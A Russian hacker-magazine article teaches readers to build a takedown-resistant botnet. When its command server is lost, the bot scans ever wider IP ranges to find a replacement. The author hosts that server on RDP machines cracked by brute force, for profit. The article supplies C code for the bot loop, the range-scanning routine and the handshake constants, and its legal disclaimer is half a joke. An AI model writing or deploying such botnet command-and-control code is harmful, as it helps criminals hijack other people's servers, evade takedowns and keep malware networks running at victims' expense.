Содержание статьи
В одном из номеров ][ ты уже ознакомился с теорией «вечных» ботнетов, но, на мой взгляд, подобный подход к их реализации слишком сложен. Сегодня я покажу тебе новый способ обеспечить своему ботнету вечную жизнь не просто бесплатно, но еще и поимев с этого дела определенную выгоду.
Цель
Если ты – постоянный читатель ][, то ты должен был прочитать мою статью про QTss-Brute в прошлом номере. Если же нет, то объясню вкратце: это такой брутфорс для RDP, с помощью которого мы с тобой будем зарабатывать на кусок хлеба с черной икрой :). Поехали!
Семь раз отмерь
Для начала тебе придется почитать немного теории, но не бойся – ее и правда немного. В чем суть этого подхода? Если ты когда-либо брутил дедики, то знаешь, что в большинстве случаев они по одному не брутятся. Например, с диапазона xxx.xxx.0.0-xxx.xxx.255.255 в зависимости от везения можно снять 10-100 дедов. Предположим, что у нас есть некий ботнет. Для простоты понимания мы будем работать с «абстрактным» ботнетом, который фактически ничего не делает и состоит из одного-единственного бота и одного сервера. Так вот, сбрутил ты дедик, поставил на него серверную часть ботнета. В боте записан IP сервера. Ну, работает наш ботнет некоторое время, а потом (внезапно!) сервер берет – и дохнет. Неважно, по какой причине – то ли админ тебя спалил, то ли федералы пришли все к тому же админу, то ли сервер просто поменяли – причины нас не интересуют. Нас интересует следствие: бот пытается приконнектиться к серверу, а у него ничего не получается. В случае с обычным ботом можно было бы сказать, что мы потеряли ботнет, но у нас же есть хитрый план, который я сейчас и озвучу :).
В случае отсутствия признаков жизни на сервере, бот генерирует диапазон IP по заданному, и начинает сканить его на предмет стандартного порта сервера, а мы в этот момент ставим серверную часть на другой сервак из того же диапазона. Если находит – обменивается с ним некоторыми данными, чтобы удостовериться, что это именно его сервер, ну а если не находит – расширяет диапазон поиска. Для разрешения всяческих неприятных ситуаций типа «деды кончились, что делать?» нужно ввести фичу ручного указания нового диапазона. Вот, собственно, и вся теория.
Один раз отрежь
Итак, приступим к делу. Писать мы будем в MS Visual Studio 2008 на C (именно C, а не C++!), но компилятор я буду использовать Intel’овский. Почему именно так? Потому что 2010 студия на моем нетбуке (MSI Wind u90) тормозит, а интеловский компилятор генерирует код меньшего размера и более оптимизированный, чем мелкомягкий, что в нашем случае очень важно. Кроме того, у Intel есть офигенный профилировщик, и мне почему-то кажется, что с «родным» бинарником он будет работать лучше, чем со скомпиленным Microsoft’овским компилятором.
Запускаем студию, создаем новый солюшн. В нем – один проект типа Win32 Console Application (консольное легче отлаживать, потом ты без труда сможешь переделать его в Win32 Application). Работать мы будем через простой TCP/IP, используя winsock2. Процедуры для работы с сокетами показаны не будут (это слишком просто, если нужно – посмотри в исходниках на диске), поэтому приступим к рассмотрению функций для взаимодействия бота с сервером.
Для начала опишем точку входа:
Точка входа
getServer();
getRange();
while ( true ) {
sock = tcp_connect(srv, PORT);
if ( sock > 0 ) {
/*..SOME MAGIC..*/
} else { // Server is dead!!!!111
range = getRange();
server = findServer((char*) range);
if ( server == NULL )
continue;
memcpy(srv, server, 20);
}
Sleep(1000);
}
Тут мы в цикле (бесконечном, это же бот, не так ли?) пытаемся приконнектиться к серверу. Если у нас это получается – обмениваемся с ним какими-то данными, иначе – получаем диапазон для сканирования и ищем на нем сервер.
Функция getRange() возвращает IP для диапазона (сначала пытается спросить его у сервера, а потом, если не получается, смотрит зарезервированную запись в файле), интереса не представляет и потому приведена здесь не будет.
Функция getServer() просто получает сервер из локального файла, в ней тоже ничего особенного нет.
Функция findServer() – главная функция для поиска сервера по заданному диапазону (см. врезку).
Допустим, у нас есть IP 192.168.1.1. Сначала мы сканируем 192.168.0.0-192.168.255.255. Если не удается – сканируем 192.0.0.0-192.255.255.255, если и тут все безнадежно – 0.0.0.0-255.255.255.255. Если же и здесь у нас не получается найти свой сервер (хотя такое невозможно) – возвращаем нулевой указатель.
Рассмотрим структуру range:
typedef struct
{
unsigned char startIP[4],
endIP[4];
} Range;
В данной структуре мы храним начальный и конечный IP диапазона (само собой, в unsigned char).
Последняя функция – собственно, сканирующая. Она пытается приконнектиться к серверу, но этого мало – надо еще убедиться, что это именно наш сервер. Для этого мы обменяемся с сервером двумя сообщениями – cliHello и srvHello:
const char cliHello[] = "\xD\xE\xA\xD\xB\xE\xE\xF";
const char srvHello[] = "\xF\xE\xE\xB\xD\xA\xE\xD";
Сервер, получив cliHello, должен отправить srvHello. И если то, что он отправил клиенту, совпадет с srvHello – значит, это наш сервер и можно прекращать сканирование. Саму функцию сканирования ты можешь найти на врезке.
Далее нам нужно научиться «просить» у сервера новый IP для сканирования. Отправляем серверу константу cliRange и сохраняем ответ – ничего сложного:
const char cliRange[] = "\xA\xB\xC\xD";
Вывод
Сегодня мы научились писать боты, которые абсолютно абузоустойчивы и практически неубиваемы. Сервер «помирает» – ему на смену приходит новый, и все это без гиперсложных алгоритмов! Кроме неубиваемости мы получаем нулевые затраты на хостинг – ведь абузоустойчивый хостинг достаточно дорог. Кстати, у меня получился .exe в 12.5 Кб размером, ведь простой Cи – он и в Африке Cи. Главное – не забывай про закон. Создавать ботнеты нельзя, а создавать русские (украинские и т.д.) ботнеты совсем нельзя :). Не пропускай это правило мимо ушей, дяди в сером не дремлют. Пропустишь – будешь рвать волосы на том месте, о котором ты сейчас подумал. Что, согласись, не дело. Удачи!
DVD
Полные исходники смотри на диске (хотя большая их часть поместилась в статье)
WARNING
Не стоит воспринимать эту информацию всерьез – за ботнеты могут сильно надавать по голове. Помни, что статья эта – ознакомительная, и ни автор, ни редакция не несут никакой ответственности за то, что ты можешь натворить, приняв ее всерьез.
Функция findServer()
char *findServer(const char *fIP)
{
Range range;
char *server;
memcpy(range.startIP, fIP, 3);
memcpy(range.endIP, fIP, 3);
range.startIP[3] = 0;
range.endIP[3] = 255;
server = scanRoutine(&range);
if ( server )
return server;
range.startIP[2] = 0;
range.endIP[2] = 255;
server = scanRoutine(&range);
if ( server )
return server;
range.startIP[1] = 0;
range.endIP[1] = 255;
server = scanRoutine(&range);
return server; // Returning pointer anyway (NULL too)
}
Функция scanRoutine()
char *scanRoutine(const Range *range)
{
unsigned int a, b, c, d;
char *server, data[8];
SOCKET sock;
server = (char*) malloc(20);
d = range->startIP[3];
c = range->startIP[2];
b = range->startIP[1];
a = range->startIP[0];
while ( true ){
if ( d > 255 )
d = 0, c++;
if ( c > range->endIP[2] && b == range->endIP[1] )
break;
if ( c > 255 )
c = 0, b++;
if ( b > range->endIP[1] && a == range->endIP[0] )
break;
if ( b > 255 )
b = 0, a++;
sprintf(server, "%u.%u.%u.%u", a, b, c, d);
sock = tcp_connect(server, PORT);
if ( sock > 0 ){ // OK, port is open, now check it!
if ( tcp_send(sock, cliHello, 8) < 0 )
continue;
tcp_recv(sock, data, 8);
if ( memcmp(data, srvHello, 8) )
continue;
closesocket(sock);
return server; // That's ok!!!
}
d++;
}
free(server);
return NULL;
}
Пламенные приветы
metal, DieHard, YaesU, DjFly, Miracle, Елена Мещерякова